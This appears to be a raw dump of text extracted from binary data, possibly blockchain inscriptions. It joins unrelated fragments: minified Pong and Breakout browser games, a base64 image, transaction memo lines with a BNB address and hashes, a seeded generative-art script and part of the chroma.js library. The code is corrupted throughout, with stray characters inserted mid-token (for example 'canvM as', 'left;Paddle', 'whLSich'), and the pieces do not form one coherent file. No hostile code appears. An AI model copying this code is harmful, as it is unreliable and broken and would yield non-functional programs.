Speed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvM
as.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.M
dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillM
Rect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){left;Paddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","RM
","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGaM
p=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.wiM
dth&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSizeM
;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvasM
.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.whLSich===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
Aj?=:BNB.BNB:bnb1wg7jjeuetu7a7janxkecjxggcs5n3tufgm9gnj:1475372::0
FjDOUT:5E25848D943B8192AC7AF62B99F452E48083377C6AC194A1BBF3405ADDCAB646
IjGREFUND:058E5AA815B5B60600CACA4FD801BA5218E15C5C2E088693BA6EC9C963DCDF1B
FjDOUT:6EF6DC918D79A2081DF8DDBAA2E6045B20C7A4422BBF034BD6F3B08941170857
text/html;charset=utf-8
text/html;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
